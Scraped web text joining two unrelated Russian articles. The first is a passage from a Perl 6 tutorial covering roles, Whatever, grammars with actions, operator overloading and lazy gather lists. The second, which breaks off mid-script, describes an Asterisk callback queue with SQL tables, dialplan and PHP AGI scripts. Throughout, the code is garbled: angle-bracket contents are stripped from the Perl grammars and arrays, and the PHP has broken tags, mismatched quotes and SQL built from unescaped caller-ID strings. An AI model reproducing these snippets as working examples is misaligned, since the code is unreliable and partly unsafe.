Определяя роль с параметрами, в квадратных скобках вы указываете просто набор параметров, а при использовании роли в квадратных скобках размещается список аргументов. Поэтому вы можете использовать всю мощь наборов параметров Perl 6 в этом случае. А кроме того, роли по умолчанию multi, множественные, поэтому можно задать много ролей с одним именем, которые принимают разные типы и разные виды параметров.
Кроме возможности параметризовывать роли через квадратные скобки, возможно также использовать ключевое слово of, если каждая из ролей принимает только один параметр. Поэтому после следующих объявлений:
```
role Cup[::Contents] { }
role Glass[::Contents] { }
class EggNog { }
class MulledWine { }
```
Можно писать так:
```
my Cup of EggNog $mug = get_eggnog();
my Glass of MulledWine $glass = get_wine();
```
Это можно даже сложить следующим образом:
```
role Tray[::ItemType] { }
my Tray of Glass of MulledWine $valuable;
```
Последний пример – это просто более читаемый вариант записи Tray[Glass[MulledWine]].
Что угодно
«Что угодно» — это тип в Perl 6, который представляет всё, что имеет смысл в данном контексте.
Примеры:
```
1..* # бесконечный промежуток
my @x = ;
say @x[\*-2] # индексация с конца массива
# возвращает 'd'
say @x.map: \* ~ 'A'; # объединить A с тем, что мы
# сюда передали
say @x.pick(\*) # случайным образом выбирать элементы @x
# пока они не закончатся
```
Так как же работает эта магия?
Некоторые примеры простые. \* на позиции члена выражения выдает объект Whatever, и некоторые встроенные функции (например, List.pick) знают, что с ним делать. Кстати, Perl 6 парсит файл предиктивно, то есть когда компилятор читает код, он всегда знает, член выражения ему встретился или оператор.
```
say 2 + 4
| | | |
| | | + член выражения (число)
| | + оператор (бинарный +)
| + член выражения (число)
+ член выражения (listop), который ожидает ещё один член выражения
```
Поэтому, в записи
```
* * 2
```
первая \* обрабатывается, как член выражения, вторая – как оператор. Данный пример генерит блок кода -> $x { $x \* 2 }.
```
my $x = * * 2;
say $x(4); # says 8
```
Тем же макаром,
```
say @x.map: * ~ 'A';
```
— это просто короткая запись для
```
say @x.map: -> $x { $x ~ 'A' };
```
а
```
say @x.map: *.succ;
```
просто короткая запись для
```
say @x.map: -> $x { $x.succ };
```
Whatever полезен и в сортировке – например, для сортировки списка по порядку чисел (префикс + означает преобразовать к числовому виду):
```
@list.sort: +*
```
Для сортировки списка по правилам для строк (префикс ~ означает преобразовать значение к строковому виду):
```
@list.sort: ~*
```
#### Маленькие хитрости
Одна из простых и мощных идей Perl 6 – самоанализ. Для ЯП это механизм, при помощи которого можно задавать вопросы о языке при помощи самого языка. К примеру, у экземпляров объектов есть методы, которые говорят, к какому классу он принадлежит, методы, которые выдают список доступных методов, и т.п.
Даже у процедуры есть метод, сообщающий имя этой процедуры:
```
sub foo (Int $i, @stuff, $blah = 5) { ... }
say &foo.name # выводит "foo"
```
Хотя это и выглядит не очень осмысленно, но помните: процедуры можно присваивать скалярам, можно давать им алиасы или создавать на лету, поэтому не всегда имя процедуры очевидно при взгляде на код:
```
my $bar = &foo
# ... три года спустя ...
say $bar.name; # Как звать-то тебя, процедура?
```
Вот ещё некоторые методы для изучения процедур:
```
say &foo.signature.perl # Как выглядит её сигнатура?
say &foo.count # Сколько аргументов принимает процедура?
say &foo.arity # А сколько из них необходимы?
```
Последний параметр – арность, или количество обязательных параметров. Благодаря самоанализу в Perl 6 можно делать невозможные ранее вещи. Например, в Perl 5 блок map принимает список пунктов по одному и преобразовывает в один или несколько новых пунктов, из которых создаёт новый список. Поскольку Perl 6 знает, сколько ожидается аргументов, он может взять столько, сколько ему нужно.
```
my @foo = map -> $x, $y { ... }, @bar; # брать по две штуки из @bar для создания @foo
my @coords = map -> $x, $y, $z { ... }, @numbers; # брать из @numbers по три за раз
```
Ещё одно преимущество – более удобный механизм сортировки массивов по критериям, отличным от сравнения строк. Если задать процедуру сортировки для массива, обычно она принимает два аргумента – сравниваемые пункты из массива. Если бы мы захотели отсортировать людей по их карме, мы бы написали нечто вроде:
```
#!/usr/bin/perl6
use v6;
class Person {
has $.name;
has $.karma;
method Str { return "$.name ($.karma)" } # красивый построковый вывод
}
my @names = ;
my @people = map { Person.new(name => $\_, karma => (rand \* 20).Int) }, @names;
.say for @people.sort: { $^a.karma <=> $^b.karma };
```
Но. Благодаря самоанализу есть другой вариант. Передавая процедуру, принимающую только один параметр, Perl 6 может автоматически создать эквивалент преобразования Шварца.
[ru.wikipedia.org/wiki/Преобразование\_Шварца](https://ru.wikipedia.org/wiki/Преобразование_Шварца)
```
.say for @people.sort: { $^a.karma };
```
Однако, поскольку у нас всего один параметр, $\_ и так неявно задаётся в процедуре, поэтому можно избавиться от лишних символов:
```
.say for @people.sort: { .karma };
```
Этот пример вызывает метод .karma для каждого элемента массива один раз (а не два раза, как для сравнения в обычном случае) и затем сортирует массив по этим результатам.
Ещё одна хитрость – встроенная система типов. В примере выше я не объявлял необходимость числовой сортировки, поскольку perl сам догадается, что мы используем числа. Если б мне надо было принудительно задать тип сортировки, я бы воспользовался + или ~:
```
.say for @people.sort: { +.karma }; # числовая
.say for @people.sort: { ~.karma }; # строковая
```
В методах .min и .max это особенно удобно. Они также принимают процедуру для определения критерия сортировки:
```
say @people.min: { +.karma } # числовая
say @people.max: { ~.name } # строковая
```
Это также можно записать при помощи Whatever:
```
.say for @people.sort: *.karma;
say @values.min: +*.karma;
say @values.max: ~*.name;
```
#### Грамматики и Действия
Допустим, у нас есть куча текста, который надо парсить. Perl ведь именно для этого предназначен? Конкретизируем задачу: следующий текст описывает вопросы и ответы:
```
pickmany: Что из перечисленного является едой?
ac: Рис
ac: Апельсин
ac: Гриб
ai: Ботинки
pickone: Что из перечисленного является цветом?
ac: Апельсиновый
ai: Ботинки
ai: Грибы
ai: Рис
```
В Perl 6 для парсинга я определю Грамматику. Это особый вид пространства имён, который содержит регулярные выражения. Также зададим несколько именованных выражений, чтобы разделить задачу парсинга на части.
```
grammar Question::Grammar {
token TOP {
\n*
+
}
token question {
+
}
token header {
^^ $=['pickone'|'pickmany'] ':' \s+ $=[\N\*] \n
}
token answer {
^^ \s+ $=['ac'|'ai'] ':' \s+ $=[\N\*] \n
}
}
```
По умолчанию, в грамматиках пробелы игнорируются, а совпадения ищутся по всей строке – как будто включены модификаторы /x и /s в Perl 5. TOP – регулярка, которая вызывается, если мы ищем совпадение по всей грамматике.
‘token’ – один из трёх идентификаторов, использующийся для задания регулярки, включая ‘regex’, ‘token’, and ‘rule’.
‘regex’ – простая версия, а две других просто добавляют опции
‘token’ запрещает возвраты назад, а ‘rule’ запрещает возвраты и включает буквальный поиск пробелов, заданных в регулярке. ‘rule’ мы использовать не будем.
Синтаксис используется для вызова другой именованной регулярки. ‘^^’ используется для обозначения начала строки, в отличие от ‘^’, обозначающей начало всего текста. Квадратные скобки – это группировка, не затрагивающая массив найденных частей строки, аналог (?: ) в Perl 5.
Знак = назначает правой стороне имя с левой стороны. Посмотрим, что получится, если мы будем искать эту грамматику и выводить результаты поиска:
```
my $text = Q {
pickmany: Что из перечисленного является едой?
ac: Рис
ac: Апельсин
ac: Гриб
ai: Ботинки
pickone: Что из перечисленного является цветом?
ac: Апельсиновый
ai: Ботинковый
ai: Грибной
ai: Рисовый
};
my $match = Question::Grammar.parse($text);
say $match.perl;
```
Выдачу в 232 строки включать сюда целиком мы не будем. Рассмотрим одну часть, вопросы.
```
# Вывести вопрос
for $match.flat -> $q {
say $q;
}
```
.flat используется потому, что $match — это массив, содержащийся в скалярном контейнере. Угловые скобки являются эквивалентом следующей записи:
```
# Вывести вопрос
for $match{'question'}.flat -> $q {
say $q{'header'}{'text'};
}
```
Отсюда видно, что объект содержит именованные пункты как значения хеша, а повторения содержатся в массиве. Если б у нас был массив найденных результатов, создаваемый круглыми скобками, как в Perl 5(), до его элементов можно было бы добраться через позиционный интерфейс при помощи квадратных скобок (как при работе с массивами).
Следующим шагом будет сделать несколько классов и размножить их на основе объекта. Определения классов:
```
class Question::Answer {
has $.text is rw;
has Bool $.correct is rw;
}
class Question {
has $.text is rw;
has $.type is rw;
has Question::Answer @.answers is rw;
}
```
Создать объекты Question из результатов поиска не так уж и трудно, но выглядит это некрасиво:
```
my @questions = $match.map: {
Question.new(
text => ~$\_,
type => ~$\_,
answers => $\_.map: {
Question::Answer.new(
text => ~$\_,
correct => ~$\_ eq 'ac',
)
},
);
};
```
Памятуя, что любое повторение в регулярке приводит к появлению массива в объекте, мы прогоняем map по атрибуту , и строим для каждого объект Question. Каждое вхождение тащит за собой массив из , которые мы тоже проходим при помощи map, строя список из объектов Question::Answer. Мы преобразовываем найденные значения из объектов Math в строки.
Такой подход не масштабируется. Удобнее было бы строить объекты на лету. Для этого нужно передавать объект как аргумент :action в метод .parse() грамматики. Движок парсинга затем вызовет методы с тем же именем, которое имеет обрабатываемая регулярка, которым объект Match будет передан в качестве аргумента. Если метод вызывает во время выполнения ‘make()’, аргумент к ‘make()’ записывается как атрибут .ast (“Abstract Syntax Tree”, абстрактное синтаксическое дерево) объекта Match.
Но всё это довольно абстрактно – давайте посмотрим на код. Нам нужен класс с методами, названными так же, как три наши регулярки:
```
class Question::Actions {
method TOP($/) {
make $».ast;
}
method question($/) {
make Question.new(
text => ~$,
type => ~$,
answers => $».ast,
);
}
method answer($/) {
make Question::Answer.new(
correct => ~$ eq 'ac',
text => ~$,
);
}
}
```
$/ — традиционное имя для объектов Match, и оно такое же особое, как $\_ — у него есть особый синтаксис для доступа к атрибутам. Доступ через имена или позиции без переменной ($ и $[1]) транслируется в доступ к $/ ($/ и $/[1]). Разница в один символ, но позволяет избежать визуального шума и использовать семантические конструкции, сходные с $1, $2, $3 в Perl 5.
В методе TOP мы используем гиперопетаторный вызов метода, чтобы сделать список атрибутов .ast для каждого пункта в $. Где бы мы ни вызывали ‘make’ в методе действия, мы определяем что-либо как атрибут .ast возвращаемого объекта Match, поэтому это просто вызов того, над чем мы делаем ‘make’ в метод ‘question’.
В методе ‘question’ мы создаём новый объект Question, передавая ему все атрибуты из объекта match, и присваивая его атрибутам ‘answer’ список объектов, получаемый при каждом вызове регулярки ‘answer’ текущего вопроса ‘question’.
В методе ‘answer’ мы делаем то же самое, присваивая в атрибут ‘correct’ результат сравнения, чтобы удовлетворить типу ‘Bool’ атрибута.
При парсинге мы делаем экземпляр этого нового класса и передаём объект как параметр :action методу .parse грамматики, а затем мы получаем сконструированный объект из атрибута .ast из объекта поиска, который он возвращает.
my $actions = Question::Actions.new();
my [questions](https://habrahabr.ru/users/questions/) = Question::Grammar.parse($text, :actions($actions)).ast.flat;
Теперь можно проверить созданный объект, чтобы убедиться, что всё идёт по плану:
```
for @questions -> $q {
say $q.text;
for $q.answers.kv -> $i, $a {
say " $i) {$a.text}";
}
}
```
И для полноты давайте добавим в Question метод, который будет задавать вопрос, получать ответ и оценивать его.
Начнём с презентации вопроса, ответов и запроса ввода:
```
method ask {
my %hints = (
pickmany => "Выберите все правильные ответы, разделяйте их пробелами",
pickone => "Выберите один правильный ответ",
);
say "\n{%hints{$.type}}\n";
say $.text;
for @.answers.kv -> $i, $a {
say "$i) {$a.text}";
}
print "> ";
```
Теперь получим строку из STDIN и извлечём из неё цифры:
```
my $line = $*IN.get();
my @answers = $line.comb(/+/)>>.Int.sort
```
‘comb’ – противоположность ‘split’, в том смысле, что мы определяем, что нам надо оставить, а не что нам надо выбросить. Преимущество в том, что нам не надо выбирать разделяющий символ. Пользователь может ввести “1 2 3″, “1,2,3” или даже “1, 2 и 3″. Затем через вызов метода гипероператора мы создаём массив целых чисел из массива найденных символов и сортируем его.
Теперь давайте создадим массив индексов всех правильных ответов, и выясним правильность ответов.
```
my @correct = @.answers.kv.map({ $^value.correct ?? $^key !! () });
if @correct ~~ @answers {
say "Да, всё верно!";
return 1;
}
else {
say "Ну вот, ошибочка вышла";
return 0;
}
}
```
Вызовем его для каждого из вопросов и соберём результаты через map нашего нового метода:
```
my @results = @questions.map(*.ask);
say "\nFinal score: " ~ [+] @results;
```
Результаты будут примерно такие:
```
[sweeks@kupo ~]$ perl6 /tmp/questions.pl
Выберите все правильные ответы, разделяйте их пробелами
Что из перечисленного является едой?
0) Рис
1) Апельсин
2) Гриб
3) Ботинки
> 0 1 2
Да, всё верно!
Выберите один правильный ответ
Что из перечисленного является цветом?
0) Апельсиновый
1) Ботинковый
2) Грибной
3) Рисовый
> 1
Ну вот, ошибочка вышла
Итоговая оценка: 1
```
Вот вам полный текст программы:
```
class Question::Answer {
has $.text is rw;
has Bool $.correct is rw;
}
class Question {
has $.text is rw;
has $.type is rw;
has Question::Answer @.answers is rw;
method ask {
my %hints = (
pickmany => " Выберите все правильные ответы, разделяйте их пробелами",
pickone => " Выберите один правильный ответ",
);
say "\n{%hints{$.type}}\n";
say $.text;
for @.answers.kv -> $i, $a {
say "$i) {$a.text}";
}
print "> ";
my $line = $*IN.get();
my @answers = $line.comb(/+/)>>.Int.sort @correct = @.answers.kv.map({ $^value.correct ?? $^key !! () });
if @correct ~~ @answers {
say " Да, всё верно!";
return 1;
} else {
say " Ну вот, ошибочка вышла";
return 0;
}
}
}
grammar Question::Grammar {
token TOP {
\n\*
+
}
token question {
+
}
token header {
^^ $=['pickone'|'pickmany'] ':' \s+ $=[\N\*] \n
}
token answer {
^^ \s+ $=['ac'|'ai'] ':' \s+ $=[\N\*] \n
}
}
class Question::Actions {
method TOP($/) {
make $».ast;
}
method question($/) {
make Question.new(
text => ~$,
type => ~$,
answers => $».ast,
);
}
method answer($/) {
make Question::Answer.new(
correct => ~$ eq 'ac',
text => ~$,
);
}
}
my $text = Q {
pickmany: Что из перечисленного является едой?
ac: Рис
ac: Апельсин
ac: Гриб
ai: Ботинки
pickone: Что из перечисленного является цветом?
ac: Апельсиновый
ai: Ботинковый
ai: Грибной
ai: Рисовый
};
my $actions = Question::Actions.new();
my @questions = Question::Grammar.parse($text, :actions($actions)).ast.flat;
my @results = @questions.map(\*.ask);
say "\nИтоговая оценка: " ~ [+] @results;
```
#### Перегрузка операторов
Perl 6 позволяет перегружать существующие операторы и определять новые. Операторы – это просто мультипроцедуры с особым названием, и для определения нужного варианта оператора используются стандартные правила для мультипроцедур.
Распространённый пример – определение оператора факториала, похожее на математическую запись:
```
multi sub postfix:(Int $n) {
[*] 1..$n;
}
say 3!;
```
Первая часть определения – синтаксическая категория (prefix, postfix, infix, circumfix или postcircumfix). После двоеточия идут угловые скобки, в которых записывается оператор. В случае циркумфикса требуются две пары скобок, но для всех остальных достаточной одной, внутри которой может быть несколько символов. В примере мы определили постфиксный оператор !, работающий с целыми числами.
Можно задавать дополнительные атрибуты, такие, как tighter, equiv и looser, которые задают порядок приоритетов по сравнению с другими операторами.
Если вы задаёте замену существующего оператора, новое определение просто добавляется в набор его мультипроцедур. К примеру, можно определить свой класс и определить, что его объекты можно складывать оператором +:
```
class PieceOfString {
has Int $.length;
}
multi sub infix:<+>(PieceOfString $lhs, PieceOfString $rhs) {
PieceOfString.new(:length($lhs.length + $rhs.length));
}
```
Конечно, реальные примеры более сложны и включают несколько переменных. Можно задать проверку равенства строк:
```
multi sub infix:<==>(PieceOfString $lhs, PieceOfString $rhs --> Bool) {
$lhs.length == $rhs.length;
}
```
Чего следует избегать, так это перегрузки оператора prefix:<~> (преобразование в строку). Если сделать это, у вас не получится перехватывать все строковые преобразования. Вместо этого лучше определить вашему классу метод Str, который будет выполнять эту работу:
```
use MONKEY_TYPING;
augment class PieceOfString {
method Str {
'-' x $.length;
}
}
```
И этот метод будет вызван традиционным оператором ~. Методы, имена которых совпадают с типами, используются для преобразования типов, поэтому вы можете задавать своим классам методы Str и Num в тех случаях, когда это имеет смысл.
А поскольку исходный код Perl 6 записывается в Unicode, вы можете определять новые операторы, используя всё богатство символов.
Ленивые фрукты райского сада
Рассмотрим нечасто встречающуюся в других языках конструкцию – конструктор итераторов под названием gather.
Исторически многие перловики знают удобные функции map, grep и sort:
```
my @squares = map { $_ * $_ }, @numbers;
my @primes = grep { is-prime($_) }, @numbers;
```
map и grep особенно хороши, когда вы научились выстраивать их в цепочки:
```
my @children-of-single-moms =
map { .children },
grep { !.is-married },
grep { .gender == FEMALE }, @citizens;
```
Это привело к созданию преобразования Шварца – идиома для кеширования в том случае. когда сортировка ресурсозатратна:
```
my @files-by-modification-date =
map { .[0] }, # деконструкция
sort { $^a[1] <=> $^b[1] },
map { [$_, $_ ~~ :M] }, # вычисление и конструкция
@files;
```
В одном из предыдущих примеров было показано, как это преобразование теперь встроено в sort:
```
my @files-by-modification-date =
sort { $_ ~~ :M },
@files;
```
Так что насчёт gather? Это такой вид обобщения map и grep.
```
sub mymap(&transform, @list) {
gather for @list {
take transform($_);
}
};
sub mygrep(&condition, @list) {
gather for @list {
take $_ if condition($_);
}
};
```
gather сигнализирует, что внутри следующего блока мы строим список. Каждый take добавляет в него элемент. Это как делать push в анонимный массив:
```
my @result = gather { take $_ for 5..7 }; # это -
my @result;
push @result, $_ for 5..7; # эквивалент этого
```
Получается, что первое свойство gather – использование при построении списков, когда map, grep и sort недостаточно. Конечно, не надо их переизобретать… Но то, что это возможно, задавая при этом свои особые требования, выглядит неплохо.
```
sub incremental-concat(@list) {
my $string-accumulator = "";
gather for @list {
take ~($string-accumulator ~= $_);
}
};
say incremental-concat().perl; # ["a", "ab", "abc"]
```
Пример удобнее, чем map, потому что между итерациями нам нужно обрабатывать $string-accumulator.
Второе свойство gather – хотя вызовы take должны происходить в области видимости блока gather, им не обязательно быть в лексической области – только в динамиеской. Для тех, кому не ясны различия, поясню:
```
sub traverse-tree-inorder(Tree $t) {
traverse-tree-inorder($t.left) if $t.left;
take transform($t);
traverse-tree-inorder($t.right) if $t.right;
}
my $tree = ...;
my @all-nodes = gather traverse-tree-inorder($tree);
```
Здесь мы оборачиваем вызов &traverse-tree-inorder в инструкцию gather. Инструкция сама по себе не содержит лексически вызовов take, но вызываемая процедура – содержит, и таким образом take внутри неё помнит, что она находится в контексте gather. Это и есть динамический контекст.
Третье свойство gather: оно «ленивое». В случае кода обхода дерева это означает: когда выполняется присвоение @all-nodes, дерево ещё не обошли. Обход начинается только при обращении к первому элементу массива, @all-nodes[0]. И оно останавливается, когда найдена самая левая концевая вершина. Запросите @all-nodes[1] – и обход возобновится с того места, где закончился, чтобы остановиться после того, как найдёт вторую вершину.
То есть, код в блоке gather запускается и останавливается так, чтобы не делать работы больше, чем его спрашивают. Это и есть «ленивое» поведение.
По факту это отложенное исполнение. Perl 6 обещает выполнить код внутри блока gather, но только если вам понадобится его информация. Что интересно, почти все массивы по умолчанию ленивы, и чтение строк из файла тоже. map и grep не просто можно создать с помощью gather, они и сами также ленивы. Такое поведение открывает возможности программирования потоков и использования бесконечных массивов.
```
my @natural-numbers = 0 .. Inf;
my @even-numbers = 0, 2 ... *; # арифметическая прогрессия
my @odd-numbers = 1, 3 ... *;
my @powers-of-two = 1, 2, 4 ... *; # геометрическая прогрессия
my @squares-of-odd-numbers = map { $_ * $_ }, @odd-numbers;
sub enumerate-positive-rationals() { # хотя и с дублями
take 1;
for 1..Inf -> $total {
for 1..^$total Z reverse(1..^$total) -> $numerator, $denominator {
take $numerator / $denominator;
}
}
}
sub enumerate-all-rationals() {
map { $_, -$_ }, enumerate-positive-rationals();
}
sub fibonacci() {
gather {
take 0;
my ($last, $this) = 0, 1;
loop { # infinitely!
take $this;
($last, $this) = $this, $last + $this;
}
}
}
say fibonacci[10]; # 55
# Объединение двух массивов, которые могут быть бесконечными
sub merge(@a, @b) {
!@a && !@b ?? () !!
!@a ?? @b !!
!@b ?? @a !!
(@a[0] < @b[0] ?? @a.shift !! @b.shift, merge(@a, @b))
}
sub hamming-sequence() # 2**a * 3**b * 5**c, where { all(a,b,c) >= 0 }
gather {
take 1;
take $_ for
merge( (map { 2 * $_ } hamming-sequence()),
merge( (map { 3 * $_ }, hamming-sequence()),
(map { 5 * $_ }, hamming-sequence()) ));
}
}
```
Последняя процедура – решение задачи Хэмминга на Perl 6.
А вот и очередная «абракадабра», которая реализовывает клеточный автомат, который внезапно рисует ёлочку.
```
$ perl6 -e 'my %r=[^8]>>.fmt("%03b") Z (0,1,1,1,1,0,0,0);\
say <. X>[my@i=0 xx 9,1,0 xx 9];\
for ^9 {say <. X>[@i=map {%r{@i[($_-1)%19,$_,($_+1)%19].join}},^19]};'
.........X.........
........XXX........
.......XX..X.......
......XX.XXXX......
.....XX..X...X.....
....XX.XXXX.XXX....
...XX..X....X..X...
..XX.XXXX..XXXXXX..
.XX..X...XXX.....X.
XX.XXXX.XX..X...XXX
```
#### Стандартная грамматика Perl 6
Странно называть грамматику существенным компонентом языка. Очевидно, синтаксис имеет большое значение – но после его определения мы просто используем грамматики для описания синтаксиса и построения парсера, так ведь?
Не в Perl 6, у которого синтаксис динамический. Он пригоден для определения новых ключевых слов и вещей, не предусмотренных изначальным дизайном. Точнее, Perl 6 поддерживает модули и приложения, которые меняют синтаксис языка. Кроме определения новых операторов язык поддерживает динамическое добавление макросов, типов инструкций, символов и т.п.
Ключевая особенность грамматики – использование проторегулярных выражений. ПРВ позволяет комбинировать несколько регулярок в одну категорию. В более традиционной грамматике мы бы писали:
```
rule statement {
|
|
|
|
}
rule if\_statement { 'if' }
rule while\_statement { 'while' }
rule for\_statement { 'for' '(' ';' ';' ')' }
```
С ПРВ мы пишем это так:
```
proto token statement { <...> }
rule statement:sym { 'if' }
rule statement:sym { 'while' }
rule statement:sym
{ 'for' '(' ';' ';' ')' }
rule statement:sym { }
```
Мы определяем, что ищет совпадения в любых из описанных конструкций, но ПРВ-версию гораздо проще расширять. В первой версии добавление нового оператора (например, “repeat..until”) потребовало бы переписать объявление “rule statement” целиком. Но с ПРВ достаточно добавить ещё одно правило:
```
rule statement:sym { 'repeat' 'until' }
```
Это правило добавляется к кандидатам в ПРВ . И это работает в новой версии грамматики:
```
grammar MyNewGrammar is BaseGrammar {
rule statement:sym { 'repeat' 'until' }
}
```
MyGrammar парсит всё так же, как и BaseGrammar, с дополнительным определением оператора repeat..until.
Ещё один полезный компонент стандартной грамматики – расширенная диагностика ошибок. Вместо сообщений вроде «тут ошибка» язык предлагает варианты её решения. Кроме того, приложены усилия для помощи тем, кто переходит с Perl 5 на Perl 6, при отслеживании изменивших своё значение конструкций. Например, при попытке использовать else с блоком unless вы получите ошибку:
```
unless does not take "else" in Perl 6; please rewrite using "if"
```
Или при использовании тернарного оператора (?:) парсер выдаст:
```
Unsupported use of "?:"; in Perl 6 please use "??!!"
```
Надеемся, что вам понравились наши заметки по новому языку Perl 6 в применении к компилятору Rakudo. | https://habr.com/ru/post/248713/ | null | ru | null |
# Callback или «Повышаем лояльность клиентов»
Имеется asterisk, группа операторов (3-5 человек) с большой нагрузкой (среднее время ожидания > 2 минут)
Задача — для абонентов с определенной географией дать возможность не ждать пока оператор освободится, а нажав 0 услышать «Спасибо за звонок. Мы Вам обязательно перезвоним», отключиться и спокойно ждать звонка от оператора ну или ~~в простонародье~~ по умному Callback
Создаем таблицы
CREATE TABLE asterisk.callback (
id int(11) NOT NULL AUTO\_INCREMENT,
dt timestamp DEFAULT CURRENT\_TIMESTAMP,
cid varchar(32) DEFAULT NULL,
dst varchar(32) DEFAULT NULL,
status smallint(6) NOT NULL DEFAULT 0,
tot\_calls int(11) NOT NULL DEFAULT 0,
last\_call timestamp DEFAULT '0000-00-00 00:00:00',
compl\_dt timestamp DEFAULT '0000-00-00 00:00:00',
uniqueid varchar(32) DEFAULT NULL,
queue varchar(255) DEFAULT NULL,
PRIMARY KEY (ID)
)
ENGINE = INNODB
CREATE TABLE asterisk.callback\_log (
id int(11) NOT NULL AUTO\_INCREMENT,
callback\_id int(11) NOT NULL,
dt timestamp DEFAULT CURRENT\_TIMESTAMP ON UPDATE CURRENT\_TIMESTAMP,
status varchar(32) DEFAULT NULL,
params varchar(2048) DEFAULT NULL,
PRIMARY KEY (id),
CONSTRAINT callback\_log\_fk1 FOREIGN KEY (callback\_id)
REFERENCES asterisk.callback (id) ON DELETE CASCADE ON UPDATE CASCADE
)
ENGINE = INNODB
Редактируем extensions.conf
```
exten => 88142590067,s,1
same => n, GotoIf($["${CALLERID(num):0:4}"="8814"]?extra) ; если номер местный, то разрешаем CALLBACK
.... сюда можно вставить еще проверки ...
same => n, Goto(call)
same => n(extra), NoOp( Allow callback for ${CALLERID(num)} )
same => n, Set(ALLOW_CALLBACK=1)
same => n, Set(CALLBACK_QUEUE=operators)
same => n, Background(vse/press0-to-callback)
same => n(call), NoOp(Ask for operators. GROUP_COUNT=${GROUP_COUNT(operators)})
same => n, queue(operators,tThH)
same => n, Hangup
include => main_menu_press
[main_menu_press]
exten => 0,1, NoOp('-------------------- ${CALLERID(num)} PRESS BUTTON ${EXTEN}. ALLOW_CALLBACK=${ALLOW_CALLBACK}')
same => n, GotoIf($[${ALLOW_CALLBACK}=1]?callback,s,1:i,1)
[callback]
exten => s,1, NoOp( CALLBACK )
same => n, Playback(thank-you-for-calling&vse/my-vam-perezvonim)
same => n, Hangup
exten => h,1, agi(callback.php,gen,0,${CALLBACK_QUEUE})
[do-callback]
exten => _X.,1, NoOp( Try to dial to queue (${CALLBACK_QUEUE}) and callback to ${CALLBACK_NUM} )
same => n, Set(__DST="?")
same => n, Set(CALLERID(num)=${CALLBACK_NUM})
same => n(call), queue(${CALLBACK_QUEUE},tT)
same => n, NoOp( CALLBACK QUEUESTATUS=${QUEUESTATUS} )
[macro-queue-answ] ; Сюда попадаем когда ответил оператор.
exten => s,1, NoOp( Queue member answered uniq=${UNIQUEID} cid=${CALLERID(num)} chan=${CHANNEL} callback_id=${CALLBACK_ID} callback_num=${CALLBACK_NU
same => n, GotoIf($[ "${CALLBACK_ID}x" = "x" ]?skip)
same => n, Set(DST=${CHANNEL})
same => n, Set(CALLERID(num)=067)
same => n, Playback(priv-trying) ; Проиграть оператору "Ожидайте соединения"
same => n, agi(callback.php,queue-answ,${CALLBACK_ID},${CHANNEL},${UNIQUEID})
same => n, Dial(Local/${CALLBACK_NUM}@from_office_new)
same => n, NoOp( [macro-queue-answ] dial timeout )
same => n(skip), NoOp( )
exten => h,1, NoOp( [macro-queue-answ] dial hangup )
same => n, GotoIf($[ "${CALLBACK_ID}x" = "x" ]?end)
same => n, NoOp( dialstatus=${DIALSTATUS} hangupcause=${HANGUPCAUSE} queuestatus=${QUEUESTATUS})
same => n, NoOp( my_dialstatus=${MY_DIALSTATUS} my_hangupcause=${MY_HANGUPCAUSE})
same => n, agi(callback.php,hangup-queue-answ,${CALLBACK_ID},${CHANNEL},${UNIQUEID})
same => n(end), NoOp
[callback-complete]
exten => s,1, NoOp( Callback complete. CALLBACK_ID=${CALLBACK_ID}, uniq=${UNIQUEID}, dst=${DST} chan=${CHANNEL} )
same => n, NoOp( dialstatus=${DIALSTATUS} hangupcause=${HANGUPCAUSE} queuestatus=${QUEUESTATUS})
same => n, NoOp( my_dialstatus=${MY_DIALSTATUS} my_hangupcause=${MY_HANGUPCAUSE})
```
Файл queues.conf
```
[operators]
ringinuse = no
strategy = rrmemory
music = default
member => SIP/321
member => SIP/322
member => SIP/323
member => SIP/324
member => SIP/325
member => Agent/1
member => Agent/2
member => Agent/3
member => Agent/4
member => Agent/5
context = main_menu_press
timeout = 0
announce-position = yes
announce-frequency = 60
periodic-announce-frequency = 30
queue-youarenext = queue-youarenext
membermacro=queue-answ
```
Ну и собственно скрипты (PHP detected)
config.php
```
php
ob_implicit_flush(true);
set_time_limit(6);
date_default_timezone_set('Europe/Moscow');
mysql_connect("localhost","asterisk","***") or die('Mysql connect error');
mysql_select_db("asterisk");
// *******************************
function genCallbackFile($id,$cid,$queue) {
$fname='/var/spool/asterisk/outgoing/callback-'.$id;
if (file_exists($fname)) return;
$callfile="Channel: Local/".$cid."@do-callback\n".
"WaitTime: 60\n".
"MaxRetries: 1\n"."RetryTime: 120\n".
"Context: callback-complete\n".
"Extension: s\n".
"Set: __CALLBACK_ID=$id\n".
"Set: __CALLBACK_QUEUE=$queue\n".
"Set: __CALLBACK_NUM=$cid\n";
$fp=fopen($fname,'w+');fputs($fp,$callfile);fclose($fp);
}
?
```
callback.php
```
#!/usr/bin/php
$arg=$_SERVER["argv"];
$a=$arg[1];
$id=abs($arg[2]);
include('/var/lib/asterisk/agi-bin/config.php');
$in = fopen("php://stdin","r");
$stdlog = fopen("/var/log/asterisk/callback.log", "a+");
// toggle debugging output (more verbose)
$debug = false;
// parse agi headers into array
while ($env=read()) {
$s = split(": ",$env);
$agi[str_replace("agi_","",$s[0])] = trim($s[1]);
if (($env == "") || ($env == "\n")) {
break;
}
}
// main program ************************
$dt=date('d.m.Y H:i:s');
$cid=$agi[callerid];
switch ($a) {
case 'cid-answ' : { // наконец-то дозвонились до клиента
$stmt='select * from callback where id='.$id;
$result=mysql_query($stmt);
$row=mysql_fetch_object($result);
$cid=$row-cid;
$stmt="select * from callback where id=$id or (dt>(now()-interval 24 hour) and cid='$cid' and STATUS<>2)";
$result=mysql_query($stmt);
while ($row=mysql_fetch_object($result)) {
$id=$row->id;
$stmt="update callback set status=2,compl_dt=now() where id=$id";
$result=mysql_query($stmt);
rename('/var/spool/asterisk/outgoing/callback-'.$id,'/tmp/callback-'.$id);
}
break;
}
case 'queue-answ' : { // дозвонились до оператора в очереди. увеличиваем счетчик попыток дозвона до клиента
$dst=$arg[3];
$stmt=sprintf('update callback set status=1,last_call=now(),tot_calls=tot_calls+1,dst="%s",uniqueid="%s" where id=%d",$dst,$agi[uniqueid],$id);
$result=mysql_query($stmt);
break;
}
case 'complete' : { // звонок закончен, но если клиент нажал сброс или было занято, то создаем callfile снова
$id=abs($arg[2]);
$stmt='select * from callback where id='.$id;
$result=mysql_query($stmt);
$row=mysql_fetch_object($result);
if ($row->status!=2) genCallBackFile($id,$row->cid,$row->queue);
break;
}
case 'gen': { // собственно создаем в базе запись обратного обзвона
$qname=trim($arg[3]);
if (!$qname) $qname='operators';
